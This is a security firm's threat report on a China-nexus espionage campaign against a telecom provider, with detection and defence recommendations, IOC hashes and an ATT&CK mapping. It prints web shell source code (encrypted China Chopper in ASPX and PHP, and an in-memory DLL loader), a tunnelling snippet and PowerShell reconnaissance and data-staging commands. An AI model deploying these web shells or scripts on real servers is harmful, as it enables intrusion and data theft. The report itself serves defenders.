CONTACT US

Weaver Ant, the Web Shell Whisperer: Tracking a Live China-nexus Operation

Sygnia details Weaver Ant, a China-nexus threat actor infiltrating a major telecom provider. Using web shells and tunneling, the attackers maintained persistence and facilitated cyber espionage. This blog explores their tactics and provides key defense strategies against state-sponsored threats.

Executive Summary

  • Sygnia responded to a stealthy and highly persistent China-nexus threat actor operation targeting a major telecommunication company in Asia. 
  • Based on our analysis, we assess that the group behind this intrusion—tracked by Sygnia as Weaver Ant—aimed to gain and maintain continuous access to telecommunication providers and facilitate cyber espionage by collecting sensitive information. 
  • This blog explores the threat actor’s modus operandi, highlighting their use of web shells and web shell tunneling as primary tools for maintaining persistence and enabling lateral movement throughout their operations. 
  • This incident highlights the importance of establishing resilient defense strategies to protect against sophisticated threats – particularly those posed by state-sponsored groups. A holistic approach to mitigating these threats combines continuous monitoring with proactive response mechanisms – including periodic and systematic threat hunts – alongside stringent traffic controls and system hardening practices for both legacy and public-facing devices. By embracing such an approach, organizations can enhance their ability to detect, deter, and counteract the persistent threat presented by state-sponsored groups. 
  • A comprehensive technical annex containing the threat actor tools and payloads can be found here.

Introduction

Suspicious activity triggered multiple alerts during the final phase of a forensic investigation, multiple alerts were triggered by suspicious activities. Specifically, an account previously used by the threat actor was disabled as part of remediation efforts but was subsequently re-enabled by a service account. Notably, the activity originated from a server that had not been previously identified as compromised. 

Further investigation uncovered a variant of the China Chopper web shell deployed on an internal server, which had been compromised for several years. It appeared that the remediation of the first threat actor inadvertently disrupted the operations of a second, China-nexus threat group, tracked by Sygnia as Weaver Ant. 

This discovery prompted a large-scale forensic investigation, including an extensive hunt for additional web shell variants. Utilizing YARA rules and other enrichment mechanisms, the team identified dozens of similar web shells. The investigation revealed an entire campaign that relies exclusively on web shells for persistent access, enabling both remote code execution and lateral movement through an intricate tunneling process. 

The Web Shells Dynamic Duo

During the web shell hunt, numerous instances of web shells were discovered, prompting a thorough classification effort. This analysis revealed that the threat actor primarily utilized two types of web shells in different variants: one was classified by Sygnia as an encrypted China Chopper, while the second had no publicly available references to any known web shells and was named by Sygnia the ‘INMemory’ web shell.  

Encrypted China Chopper

The China Chopper web shell is a lightweight malicious tool that enables threat actors to gain remote access and control over compromised web servers. Originally developed by Chinese threat actors, it offers functionalities such as file management, command execution, and data exfiltration. Its small size and stealthy nature make China Chopper ideal for maintaining persistent access, facilitating further exploitation, and evading detection by traditional security measures. Additionally, its versatility and ease of use have made it a popular choice for executing a wide range of malicious activities on targeted systems.

The most common web shell that was utilized by this threat actor, was a China Chopper web shell which supports AES encryption of the payload. Despite its simplicity and straightforward functionality, this web shell is highly effective at bypassing automated payload detection mechanisms at the Web Application Firewall (WAF) level.

Deployed primarily on externally facing servers, the encrypted China Chopper web shell was implemented in various programming languages, including ASPX and PHP. The compromised servers served as entry points, enabling the threat actor to infiltrate the victim’s network and establish persistent access.

{ 
    var key = <custom_key>; 
    var iv = <custom_iv>; 
    var buf = Convert.FromBase64String(text); 
    var rm = new System.Security.Cryptography.RijndaelManaged(); 
    rm.Key = System.Text.Encoding.UTF8.GetBytes(key); 
    rm.IV = System.Text.Encoding.UTF8.GetBytes(iv); 
    rm.Mode = System.Security.Cryptography.CipherMode.CBC; 
    rm.Padding = System.Security.Cryptography.PaddingMode.Zeros; 
    return System.Text.Encoding.UTF8.GetString(rm.CreateDecryptor().TransformFinalBlock(buf, 0, buf.Length)); 
} 
eval(AES(Request.Item[<custom_param_name>]), "unsafe"); 
%>

Figure 1: ASPX version of the China Chopper with encryption web shell. The ‘<custom_param_name>‘, ‘<custom_key>‘, and ‘<custom_iv>‘ strings are placeholders.

<?php 
$key = <custom_key>; 
$iv  = <custom_iv>; 
@eval(mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $key, base64_decode($_POST[<custom_param_name>]), MCRYPT_MODE_CBC, $iv)); 
?> 

Figure 2: PHP version of the China Chopper with encryption web shell. The ‘<custom_param_name>‘, ‘<custom_key>‘, and ‘<custom_iv>‘ strings are placeholders.

Two features of the encrypted web shell posed challenges during the forensic investigation: 

  • Keyword-based evasion: The threat actor strategically used specific keywords as parameter names in the payload field, such as ‘password,’ ‘key,’ and ‘pass.’ This acted as a defense evasion technique, as many WAFs automatically redact or mask these values in logs. As a result, the actual payload content was obscured, making it difficult to monitor or analyze the transferred data. 
  • Payload truncation: The size of the transmitted payload exceeded the character limit supported by the deployed WAF solution, leading to truncation of the logged data. This limitation prevented a complete forensic reconstruction of the payload, further complicating the investigation. 

INMemory Web Shell

The second web shell observed in this intrusion enables in-memory execution of malicious modules. 

This web shell functions by decoding a hardcoded GZipped Base64 string into a Portable Executable (PE) named ‘eval.dll’ and executing it entirely in memory to evade detection. The in-memory execution flow consists of the following steps: 

  1. Decoding the Base64-encoded string into a byte array. 
  2. Creating a memory stream to store the encoded bytes (‘memoryStream2’). 
  3. Decompressing the memory stream and creating a GZIP stream. 
  4. Writing the decompressed bytes to a new memory stream and converting them into a byte array. 
  5. Loading the decoded and decompressed byte array using ‘Assembly.Load’, executing the malicious payload without writing it to disk. 

To further evade detection, the web shell obfuscates code using Base64-encoded strings. A function called ‘invoke’ is executed within the web shell using two Base64-encoded strings: 

  • ‘RVZBTC5IYW5kbGVy’ → Decoded to ‘EVAL.Handler’ (where ‘EVAL’ represents the relevant namespace, and ‘Handler’ refers to the class). 
  • ‘SW52b2tl’ → Decoded to ‘Invoke’, the specific function in the malicious payload. 
<script id="no-caching" runat="server">
string cc(string a){ return Encoding.UTF8.GetString(Convert.FromBase64String(a)); }
byte[] ee(string p){ 
    string k=cc("RVZBTC5IYW5kbGVy"); 
    Assembly a=Application[k]==null?(Application[k] as Assembly):null; 
    if (a==null){ 
        var b=Convert.FromBase64String(<base64_encoded_dll>); 
        using(var d=new MemoryStream()){ 
            using(var s=new MemoryStream(b)){ 
                using(var g=new GZipStream(s,CompressionMode.Decompress)){ 
                    b=new byte[1024];int c=0;while((c=g.Read(b,0,b.Length))>0){d.Write(b,0,c);} 
                } 
            } 
            b=d.ToArray(); 
        } 
        a=Assembly.Load(b);Application[k]=a; 
    } 
    return (byte[])(a.GetType(k).GetMethod(cc("SW52b2tl")).Invoke(null,new object[]{Application,Request.Params,p,})); 
} 
void Page_Load(object sender,EventArgs e){ 
    try{ 
        var ret=ee(<dll_parameters>); 
        if(ret.Length==3&&Encoding.UTF8.GetString(ret)=="404"){ 
            Response.StatusCode=404; 
        }else{ 
            Response.BinaryWrite(ret); 
        } 
    }catch(Exception ex){ 
        Response.Write(ex.ToString()); 
    } 
}
</script>

Figure 3: ASPX version of the ‘INMemory’ web shell. The ‘<base64_encoded_dll>’ refers to the Base64 version of the ‘eval.dll’ file, while ‘<dll_parameters>’ refers to the payload for execution.

Execution using ‘eval.dll’

The ‘INMemory’ web shell executed the C# code contained within a portable executable (PE) named ‘eval.dll’, which ultimately runs the payload delivered via an HTTP request. This PE is hardcoded within the web shell as a GZipped Base64 string and is stored in the variable ‘b’ (represented as ‘<base64_encoded_dll>’ in the snippet code above).  

Upon execution, the web shell invokes a function called ‘Invoke’, passing in the web server’s request parameters along with a hardcoded SHA256 hash. The function performs the following operations: 

  1. SHA256 Hash Matching:
    1. The ‘Invoke’ function calculates the SHA256 hash of each HTTP request header. 
    2. It then compares the calculated hash to the hardcoded SHA256 value.
  2. Payload Encoding & Execution:
    1. If a matching header is found, the content undergoes two-stage encoding: 
      1. First Stage: Base64 encoding.
      2. Second Stage: UTF-8 encoding. 
    2. Finally, the encoded content is executed using ‘JScriptEvaluate’, a function from the JScript library, allowing the payload to run dynamically.

Employing SHA256-based header validation and multi-stage encoding enhances the web shell’s evasion capabilities, making forensic detection more challenging. The use of ‘JScriptEvaluate’ further complicates analysis, as it enables execution of obfuscated, dynamically loaded code within the compromised environment. 

private static string sha256_hash(object value) 
{ 
    StringBuilder stringBuilder = new StringBuilder(); 
    SHA256 sha = SHA256.Create(); 
    byte[] array = sha.ComputeHash(Encoding.UTF8.GetBytes(Microsoft.JScript.Convert.ToString(value, true))); 
    for (double num = (double)0; num < (double)((Array)array).Length; num += (double)1) 
    { 
        StringBuilder stringBuilder2 = stringBuilder; 
        byte b = array[checked((int)Microsoft.JScript.Convert.CheckIfDoubleIsInteger(num))]; 
        stringBuilder2.Append(b.ToString("x2")); 
    } 
    return stringBuilder.ToString(); 
}

Figure 4: Function ‘SHA256_hash’ from ‘eval.dll’.

text = Encoding.UTF8.GetString(System.Convert.FromBase64String(nameValueCollection[Microsoft.JScript.Convert.ToString(_pwd, true)])); 
Eval.JScriptEvaluate(text, vsaEngine); 

Figure 5: encoding and execution of the payload from ‘eval.dll’.

The 'JScriptEvaluate' function from the JScript library is used to evaluate a specified JScript code - in this case, ‘text’, which contains the decoded content extracted from the HTTP request. This evaluation is performed using a designated execution engine, ‘vsaEngine’.
The VSA Engine (Visual Studio for Applications Engine) is a component of the JScript library that enables just-in-time (JIT) compilation and execution of code at runtime. By leveraging this mechanism, the web shell can dynamically execute obfuscated or remote-injected payloads without writing them to disk.

Other Means of (Stealth) Monitoring

During the extensive web shell hunt, it became apparent that Weaver Ant was still operating within the compromised network. To successfully investigate an advanced persistent threat, it was necessary to implement stealth monitoring to avoid compromising the ongoing investigation and to prevent the threat actor from altering or halting their operations temporarily to remain undetected.  

The implemented monitoring was not performed on the compromised machines themselves, as deploying a monitoring tool might alert the threat actor. Instead, we established a combination of port mirroring techniques and designed an architecture to automate the decryption and de-encapsulation of the tunneled web shell traffic. This approach helped overcome visibility gaps caused by various components, such as the WAF limitations described above. 

By streamlining live data across multiple log sources, including the raw and complete HTTP requests and responses, we were able to identify numerous payloads deployed by the threat actor and uncover a large-scale operation with persistency mechanisms deployed on tens of servers. 

The threat actor deployed minimalist web shells on compromised machines - often consisting of just a single line of code, such as a modified version of China Chopper - the web shells served merely as conduits for executing more sophisticated payloads to achieve the actual objectives. We observed multiple types of payloads with distinct purposes, with one of the most notable being a recursive HTTP tunnel tool. 

Recursive HTTP Tunnel Tool

The recursive tunnel tool functioned as a ‘second stage’ web shell, enabling HTTP tunneling to access internal resources. It operated by forwarding requests to other web servers and supported both ASPX and PHP versions, ensuring compatibility across different server technologies. The tool decoded parameters (e.g., ‘p1’, ‘p2’, and ‘f’) to dynamically construct and execute cURL commands based on the execution flow. 

Steps in the tunneling mechanism included: 

  • Decrypting the recursive tunnel tool encrypted payload. 
  • Decoding parameters (‘p1’ and ‘p2’) from Base64. 
  • Parsing parameters to reconstruct HTTP requests or cURL commands. 
  • Dynamically building and executing payloads based on the provided inputs. 
  • Returning the server's response after forwarding the request. 

This adaptive tunneling mechanism allowed the threat actor to seamlessly navigate different web environments and maintain operational flexibility. 

function o($data) { 
    return base64_encode($data); 
} 
try{ 
    $p1 = base64_decode($_POST['p1']); 
    $p2 = base64_decode($_POST['p2']); 
    $f = $_POST['f']; 
... 
... 
... 
        array_push($hi, 'Content-Type: application/x-www-form-urlencoded'); 
        curl_setopt($client, CURLOPT_HTTPHEADER, $hi); 
    } 
    if(strlen($c) > 0){ 
        curl_setopt($client, CURLOPT_COOKIE, $c); 
    } 
    curl_setopt($client, CURLOPT_POSTFIELDS, $data); 
    $resp = curl_exec($client); 

Figure 6: Code Snippet from the PHP variant of the Recursive HTTP Tunnel Payload.

Tunneling in Web Shell?

While web shells are commonly used for persistence or code execution on a compromised host, they can also be utilized for lateral movement and command and control. In this blog, we will refer to this technique as Web Shell Tunneling.  

Web shell tunneling is a method that leverages multiple web shells as ‘proxy servers’ to redirect inbound HTTP traffic to another web shell on a different host for payload execution. This enabled Weaver Ant to operate on servers within different network segments - typically internal servers not directly connected to the internet- by leveraging existing publicly accessible servers as operational gateways.  

The web shell tunneling method has been observed before, employed by various threat actors such as Elephant Beetle. The primary advantage of web shell tunneling is that it facilitates lateral movement within a compromised environment without the need to deploy additional tools on the compromised hosts.

 Figure 7: Web Shell Tunneling flow.
Figure 7: Web Shell Tunneling flow.

Another benefit of this technique is that communication occurs over HTTP/S traffic, which may appear legitimate since the compromised server hosts a web service and inbound traffic is expected over these ports.  

Implementing this method requires the ability to generate HTTP/S traffic from compromised hosts, either through existing web shell functions or by executing a custom payload on the compromised system. Once this capability is achieved, web shells can function as proxy servers, redirecting encapsulated command traffic to different hosts. 

Uncovering the Matryoshka

The traffic flowing through the web shell tunneling was encrypted. To support forensic investigation needs, we employed port mirroring to capture each packet received by one of the compromised web servers. This allowed us to replicate the entire traffic received by Weaver Ant in a decrypted format, enabling us to trace the actions of the threat actor's payloads. 

Since the payloads were symmetrically encrypted with a hardcoded key embedded within the web shell itself, Sygnia’s IR team developed automation to decrypt any new payloads received by the web shell. 

This enabled us to ‘peel’ each layer of encryption and obfuscation within the payload code upon receiving the full output, thereby recovering the actual command or binary intended for execution on the server side.  Weaver Ant occasionally sent only the ‘p1’ parameter and sometime both ‘p1’ and ‘p2’ - with ‘p2’ indicating the transmission of another payload to a different web server from one web shell to another. 

The threat actor’s method is analogous to a ‘Matryoshka’ doll, where each layer conceals another, more critical layer within it. In this scenario, the malicious payloads were encapsulated in multiple layers of encryption and obfuscation, with each layer being ‘peeled back’ by the next-in-line web shell to reveal the subsequent payload for execution. This layering allowed the threat actor to remain evasive, with the true malicious intent only becoming apparent once the final payload was unveiled, much like the smallest doll hidden inside a nesting set. 

After unwrapping all layers of the ‘Matryoshka’, it became evident that during this campaign, Weaver Ant deployed multiple payloads, each serving a distinct purpose. These payloads demonstrate the threat actor’s sophistication and stealth, enabling them to achieve their objectives while evading detection and maintaining persistent access within the network. 

The following sections describe some of these payloads: 

ETW Patch & AMSI Bypass

To evade detection, Weaver Ant employed defense evasion techniques each time they operated on a compromised host, by loading malicious modules directly into memory.  

ETW (Event Tracing for Windows) is a kernel-level tracing mechanism used for logging and monitoring system events. The threat actor patched event tracing processes, tampering with event logs such as Sysmon. This manipulation caused critical logs to be suppressed or dismissed, enabling the attacker to remain undetected. 

 AMSI (Antimalware Scan Interface) is a Microsoft interface that allows applications and services to integrate with antimalware products. To bypass AMSI protections, the attacker overwrote the ‘AmsiScanBuffer’ function in the ‘amsi.dll’ module. This modification rendered AMSI integrations with security tools, such as EDR and antivirus software, ineffective, allowing malicious PowerShell commands to execute without interference. 

PowerShell without PowerShell

Weaver Ant employed a technique that leveraged the Windows module ‘System.Management.Automation.dll’ to execute PowerShell commands without initiating the PowerShell.exe process. ‘System.Management.Automation.dll’ is the core assembly that provides the PowerShell runtime, enabling scripts and commands to be executed within the Windows environment without the need for the standalone PowerShell executable.  

Since this module underpins PowerShell’s functionalities, the threat actor could perform reconnaissance, lateral movement, and prepare data exfiltration without triggering monitoring tools that typically flag PowerShell.exe activity. By avoiding the standard PowerShell process, the threat actor bypassed heuristic and behavioral detections commonly associated with PowerShell.exe, thereby evading traditional security measures. This significantly reduced the likelihood of detection. 

Lateral Movement over SMB 

Leveraging the ‘PowerShell without PowerShell’ execution technique, Weaver Ant employed known PowerShell modules and tools, such as ‘Invoke-SMBClient’, to conduct reconnaissance and facilitate lateral movement from compromised web servers and other servers within the network. ‘Invoke-SMBClient’ is a PowerShell module that enables interactions with SMB shares, allowing tasks like listing shares, uploading files, and executing commands remotely.

This enabled the threat actor to deploy web shells on additional web servers, thereby expanding persistence within the internal network and creating new external access vectors. 

‘Invoke-SMBClient’ was executed using valid credentials, leveraging high-privileged local or domain accounts with passwords that had not been rotated for years. Instead of clear-text passwords, the threat actor used NTLM hashes to invoke the tool. 

As part of the lateral movement flow, Weaver Ant retrieved web server access logs and configuration files (e.g., ‘web.config’, ‘applicationHost.config’) from remote IIS web servers. The objectives were to harvest clear-text credentials stored in configuration files, establish understanding of how the IIS server operates and determine whether the server was serving external users. 

Figure 8: Web shell deployment chain
Figure 8: Web shell deployment chain.

Reconnaissance Activities

As part of its reconnaissance efforts, Weaver Ant executed various ‘Invoke-SharpView’ commands against multiple Domain Controllers within the same Active Directory (AD) Forest. These commands included: ‘Get-DomainUserEvent’, ‘Get-DomainSubnet’, ‘Get-DomainUser’, ‘Get-NetSession’ etc. 

The primary objective was to enumerate the compromised Active Directory environment to identify high-privilege accounts and critical servers and add them to their target bank. 

The command outputs were typically saved as files under ‘C:\ProgramData’, then compressed using the ‘Invoke-ZIP’ PowerShell function before exfiltration.

A PowerShell command with PID '1111' was executed from '<COMPUTERNAME>(Microsoft Windows NT 10.0.14393.0)' using the user '<USERNAME>' with RusAs user privileges '<USERNAME>' with the command 'invoke-sharpview Get-NetComputer > c:\programdata\computer.txt' and output 'invoke-sharpview Get-NetComputer > c:\programdata\computer.txt\r\n>> CommandInvocation(Out-String): "Out-String"\r\n' as command number '6' in the same session.
...
...
...
...
function Invoke-ZIP{\r\nparam(\r\n    [Parameter(Mandatory=$true)]\r\n    [string] $Folders,\r\n    [string] $Filters='*.*',    \r\n    [int] $RecentDays=30,\r\n    [string] $ZipFile='c:\programdata\out.zip',\r\n    [bool] $OnlyList=$False \r\n    )\r\n    \r\n    foreach($Folder in $Folders.Split(',')) \r\n    {\r\n        $Files += Get-ChildItem $Folder -Include $Filters.Split(',') -Recurse | Where { $_.LastWriteTime -gt (Get-Date).AddDays(-$RecentDays) } \r\n    }\r\n    \r\n    $FullFilenames = $Files | ForEach-Object -Process {Write-Output -InputObject $_.FullName}\r\n    \r\n    if (Test-Path $ZipFile) { Remove-Item $ZipFile -ErrorAction Stop }\r\n    \r\n    if($OnlyList)\r\n    {\r\n        foreach ($fname in $FullFilenames)\r\n        {\r\n            Write-Output $fname\r\n        }\r\n    }\r\n    else\r\n    {\r\n        Add-Type -AssemblyName System.IO.Compression\r\n        Add-Type -AssemblyName System.IO.Compression.FileSystem\r\n        $zip = [System.IO.Compression.ZipFile]::Open(($ZipFile), [System.IO.Compression.ZipArchiveMode]::Create)\r\n        \r\n        foreach ($fname in $FullFilenames) \r\n        {\r\n            try \r\n            {\r\n                $rname = $(Resolve-Path -Path $fname -Relative) -replace '\\.\\\\',''\r\n                $zentry = $zip.CreateEntry($rname)\r\n                $zentryWriter = New-Object -TypeName System.IO.BinaryWriter $zentry.Open()\r\n                $zentryWriter.Write([System.IO.File]::ReadAllBytes($fname))\r\n                $zentryWriter.Flush()\r\n                $zentryWriter.Close()\r\n            }\r\n            catch \r\n            {\r\n                Write-Output $_.Exception.Message\r\n            }\r\n        }\r\n        \r\n        $zip.Dispose()\r\n    }\r\n}\r\nInvoke-ZIP -Folders c:\programdata\computer.txt\r\n>> CommandInvocation(Out-String): "Out-String"\r\n

Figure 9: Code Snippet from PowerShell transcript log of a compromised server showing reconnaissance activities.

A Note on Attribution

The malicious activities detailed in this report represent a subset of those investigated in connection with a specific Weaver Ant campaign. Weaver Ant is a threat actor exhibiting characteristics typical of a China-nexus targeted threat group. These characteristics include but are not limited to: 

  • Target selection: Focused on specific industries and geographic locations that align  with China’s cyber strategy. 
  • Clear definition of goals: Well-defined objectives guided their operations. 
  • Deployment of web shells: Notably, a wide reliance on China Chopper web shell variants. 
  • Attack times: Weaver Ant carried out malicious activities primarily with the GMT +8 time zone, operating on regular working days while avoiding weekends and holidays. 
  • Leveraged an Operational Relay Box (ORB) networks : Weaver Ant utilized a non-provisioned ORB network to proxy traffic and conceal their infrastructure. This network primarily consists of compromised Zyxel CPE routers (mostly with firmware version of VMG3625-T20A) operated by Southeast Asian telecommunication providers. By using the ORB network, the threat actor leveraged a compromised device from one telecom to pivot and target a device in another telecom. 
  • Malicious DLL deployment: Leveraged various techniques to load trojanized DLLs to infect systems. 
  • Backdoor utilization: Employed a backdoor previously attributed to Chinese APT groups by Cybereason and TrendMicro (https://www.cybereason.com/blog/research/deadringer-exposing-chinese-threat-actors-targeting-major-telcos?#cluster-c).

Weaver Ant demonstrated exceptional persistence, maintaining activity within the compromised network for over four years, despite multiple eradication attempts. Throughout this period, Weaver Ant adapted their TTPs to the evolving network environment, employing innovative methods to regain access and sustain their foothold. 

The modus operandi of Chinese-nexus intrusion sets typically involves the sharing of tools, infrastructure, and occasionally manpower—such as through shared contractors. This collaborative approach complicates Sygnia's efforts to attribute attacks to any previously identified group. Additionally, the high visibility within the network hinders Sygnia from confidently ruling out the possibility of a ‘false-flag’ operation orchestrated by a different APT group. 

Post Kill-Switch Monitoring

Following the investigation and mapping of all identified Weaver Ant web shells, we conducted a coordinated eradication effort to remove them from compromised hosts. 

As part of this effort, we implemented additional visibility enhancements to closely monitor the environment, operating under the assumption that Weaver Ant is a highly capable and persistent APT. Given their focus on espionage, it was deemed highly likely that they would attempt to resume operations. This assumption is critical when countering such threat actors. 

The monitoring efforts proved effective—Weaver Ant were detected attempting to regain access to the victim’s network. Sygnia has been closely tracking and investigating their renewed activity, and a follow-up blog post will be published, revealing their ‘upgraded’ modus operandi and tools. Spoiler alert: They still have a strong preference for web shells. 

Recommendations for Hunting Weaver Ant

  • Ensure IIS logging is enabled and ingested into the SIEM, with X-Forwarded-For (XFF) headers configured.
    • Monitor for any disruptions or stoppages in log ingestion.
  • Monitor for web pages creation by web server processes (i.e., ‘w3wp.exe’, ‘tomcat6.exe’). 
  • Monitor for command execution originating from web server processes (i.e., ‘w3wp.exe’, ‘tomcat6.exe’). 
  • Monitor for incoming HTTP requests with unusually large payloads in the request’s body. 
  • Monitor for unexpected parameters names or values in incoming HTTP requests. 
  • Enable PowerShell transcript logging to capture and analyze suspicious activity. 

Recommendations for Defending Against Weaver Ant

  • Minimize Privileges: Restrict web-service accounts to the least privileges required. 
  • Control Management Traffic: Use ACLs and firewall rules to limit management traffic between web servers and internal systems, especially for SMB and HTTP/S. 
  • Enforce Credential Hygiene: Implement LAPS, gMSA, or a PIM solution to regularly rotate credentials. 
  • Enhance Detection: Deploy EDR/XDR solutions to monitor memory for malicious activity, including obfuscated in-memory web shells. 
  • Strengthen Web Security: Tune WAF and logging systems to detect obfuscated code signatures and behavioral patterns linked to China Chopper and INMemory web shells.

Appendix I: Indicators of Compromise

SHA1SHA256MD5Description 
207b7cf5db59d70d4789cb91194c732bcd1cfb4b076364dd23d46c40d00fc62baa9826a4c74900cc0f31605b15d92153b184dd7a3f46a22398fffa3e43caff35034a6baeOWA Backdoor DLL
4fa2b2ab3e24ee9d130cfeda63c7ae1ccbc393dc1ba9bba238cb2818a469630e86631cc1a5f840893dcc463baff5a772e47922a6c90184b13b335647321e47c95e0c3995“ReGeorg”
4aeeae023766153a91b83d02b1b24da20c0dd13520156a215ae023123dfd6c5396276aa6575583bb9944bb05586d4c5f9526e2e8111e98fa8de30a4006936a2867cbdb2aASPX Encrypted China Chopper Web shell
4dd22a08a5b103e1f2238aed7f7ce66c5a54253324cf92ec8c3262bd8eb9eb381229da082617c97caefe8ac9e6f931d1251f7e400519fd324a88539820cf6d88a388a718INMemory module Web shell
4dc0ebfa52adf9b9eb4fa8f0a359c21a14e183fb25f0ed5fca4a823c06d9eb86dc121ba814db31110d94a77bfde775b4b286c5fbbea63d265cceac0f08ae087fb267fa6aASPX China Chopper Web shell
d102a34b3f0efb57f1d9f04eff26b256875a3aa1307c99257d6049d6a3c53fb928db80d17d99ee83b336fe1d25ea4f8ad61926ac2525c1abb6bc62a3b88416cbdc475ea5ASPX Web shell
ff7b2c3938306261881c42e78d0df51d9bcdd574344d8621cdc4c063d8967a7ca82b68ad90477fd24f280287a0236c3dd5d3956be79d7af8e83d64123d1096b96f74acacPHP Encrypted China Chopper Web shell
f31920d636224356e8c7a182c2b9b37e42a091813dc91bdd912f07c514ab30382c6ac2204861d44559c86f88b5afd2a9d99d73642a9e8d4f5d2dcf5697149340532d7f26INMemory module Web shell
49cd96df4c85cdd7461701340c0bb4d05a5049d84610747272f6e968b2edcab1f00b3162ec34787630a1119f32e1ea7d82dc96ab4848202f7fee3487aa8998aa6fdf0a0cOWA Backdoor DLL
9dc3d272652851428f5cc44f2fd9458bff1d6a784a4d70c3fca0f3ef8643af93e87cd1b78b7d464f78c26f9130980ecd8b2d65c8324da08375c223acc616cef7b6e09f12INMemory module Web shell
151dc47b213aaec3751ffd1427737c65757ab41050a045e685ff8df1ec84e2e530e1df4215438f6a0ac79f4d0a29e51fd24d22de8b30b20c41ac5c8fa1b9f30d74601286INMemory module Web shell
9022f78087e1679035e09160d59d679dc3ac345d55c8099243bb01be64f1fb0f883e99519acb6adb3c6be8b545159d7554151ba1f56737c1895618ae702bcaca2febdf48ASPX Encrypted China Chopper Web shell
0e282dc84d6cfd447fece7d3ecc622523b143aa85661e2bf6d9379b6137ea10a2e725d2a18ccf0f704743fd76b15ba48d17fa0527305be8cc411feba57507009b9a0a396OWA Backdoor DLL
be52275b0c2086735dac478dc4f09fd16031669a6598ea73d7e437950b3e8caa21229eec7ebcdf22de413384aa2f212df23ebca37751b40edd6fe2a19c6614eed29102c0ASPX Encrypted China Chopper Web shell
55eeaa904bc6518a2715cc77648e6c5187416a466aae79fe0cda1d7ba3c5c0abccaee8a7b759900c9748fa06d2ec1e004ba3c5ab69989e2249f5af2cd39ebd2f5f11f7c3ASPX Encrypted China Chopper Web shell
a5c36b8022751cfeb4a88a21153847df3870c7c070f16fb2292e5bae76b5b020a4cea21e58021fabf3d0bbd76ae3fa6e31a9fd811e62fa547120562cc20f7b5595d1c15bVB Encrypted China Chopper Web shell
2b9b740fb5fe0549810500476f567002683df71d8ED905A73212A18C6D10055F15C917AC9D20F672854B12FAA7483D2F4D93841BC7ABDA7B1AD34CCF535035FE16EFAAAEASPX Web shell
02065bbdb3209e0522db3225600b8e79f8a102939533e8585b73604fd41b7e015d31f65198784c0da2e6e8f2fe35c0f6d12398af797aab5327dbd2add463b2b0fded170cINMemory module Web shell
25a593b9517d6c325598eab46833003c40f9491ab82aea5e61ecb39ffb592e80d22a6b7646c266af2cb28d0743c906ac13dafb516b58e53e14f05c6aa439c7f907deed44ASPX Encrypted China Chopper Web shell
ad3dbec2b621807fa9a2f1b2f575d7077e494626CA10DA18A28963EF375C3D23A49E55BC90777E267D9EBD11541033A1766F44F1vCEE65DFA6D9EC22277A3D5C04614D764ASPX China Chopper Web shell
c879a8eb6630b0cd7537b068f4e9af2c9ca08a62cc6833017fd0d2b7e5df5a9644ead67cc0aa8981e1e6a231bc0416a3bb410069419880afa05389eb1dc6a73d56d34216ASPX Encrypted China Chopper Web shell
3cac6ff7cddcb8f82409c79c85d976300fc60861d6f3fc16862345627e61d15534044800a5fd68ebc9a539d8f63cb40a8b0238c0cf5164ebbc8f8419fbccceaa8618cb8fASPX Encrypted China Chopper Web shell
23c4049121a9649682b3b901eaac0cc52c308756daab9b2deeea41cb1f7849fbc46a40168c542df098abb615d1aa8e34548684deb02c71a0c7d00bc47ed0865cd294470aASPX Encrypted China Chopper Web shell
334a88e288ae18c6e3fd7fb2d1ad9548497d52cedd2964927ae0f8c78175921523e630d9b36f48b57028f6d57726c4b8d9109fa857dfb312e5c6db18ccde5f9338bafd6cASPX Encrypted China Chopper Web shell
a9bbea73504139ce91a0ec20fef303c68a131cd4dee501523816cfac7ac4e53fb18d9e902f3ec17916491c5864f9fc4f39419897538eee5aa9d7aae7bc15724c3152db2eASPX Encrypted China Chopper Web shell
495a4b4757f3b1eec7fdaa9d0b2930071565f2b1df50d1016c9f6952f0efc1646f4203bb71e6d851d761698f56a802be6b357f7199f486c52430c9a2156e2fb6dee11097ASPX Custom Web shell
492cbe143f795888d8e5006ac595f65f4565ed6eeec128dc9d1f4677fc462f6ec74a432169373926a827358a73c0f0961595adb62650c25d58b68035524416af1931a50cINMemory module Web shell
81622512757f897206a84b29ee866fb933fa3d48eee9dd8363492ceb7449c0c00f0d5deed9e79b745920b34f051b5dd7f1f9959da92c7bed95bc580e641facb9b25d5651INMemory module Web shell
089439168d3c75b4da94ab801f1c46ad6b9e1fdcc6c0fc301246abc0c327c0d385c1ee36PHP Encrypted China Chopper Web shell

Appendix II: MITRE ATT&CK Matrix Mapping

  1. Initial Access 
    1. T1190- Exploit Public-Facing Application 
  2. Execution
    1. T1059.001 - Command and Scripting Interpreter: PowerShell 
    2. T1059.003 - Command and Scripting Interpreter: Windows Command Shell 
    3. T1059.005 - Command and Scripting Interpreter: Visual Basic 
    4. T1059.007 - Command and Scripting Interpreter: JavaScript 
  3. Persistence
    1. T1078.002 - Valid Accounts: Domain Accounts 
    2. T1078.003 - Valid Accounts: Local Accounts 
    3. T1505.003 - Server Software Component: Web Shell 
  4. Privilege Escalation 
    1. T1078.002 - Valid Accounts: Domain Accounts 
    2. T1134.001 - Access Token Manipulation: Token Impersonation/Theft 
  5. Defense Evasion
    1. T1055 - Process Injection 
    2. T1134.001 - Access Token Manipulation: Token Impersonation/Theft 
  6. Credential Access 
    1. T1552.001- Unsecured Credentials: Credentials In Files 
    2. T1003.002 - OS Credential Dumping: Security Account Manager 
  7. Discovery 
    1. T1087.002 - Account Discovery: Domain Account 
    2. T1083 - File and Directory Discovery 
    3. T1135 - Network Share Discovery 
    4. T1018 - Remote System Discovery 
    5. T1082 - System Information Discovery 
    6. T1016 - System Network Configuration Discovery 
  8. Lateral Movement 
    1. T1021.001 - Remote Services: SMB/Windows Admin Shares 
    2. T1570 - Lateral Tool Transfer 
  9. Collection 
    1. T1560.001 - Archive Collected Data: Archive via Utility 
    2. T1074.001 - Data Staged: Local Data Staging 
  10. Command and Control  
    1. T1071.001 - Application Layer Protocol: Web Protocols 
    2. T1572 - Protocol Tunneling 
    3. T1090.001 - Proxy: Internal Proxy 
  11. Exfiltration
    1. T1048 - Exfiltration Over Alternative Protocol

If you were impacted by this attack or are seeking guidance on how to prevent similar attacks, please contact us at [email protected] or our 24-hour hotline +1-877-686-8680.

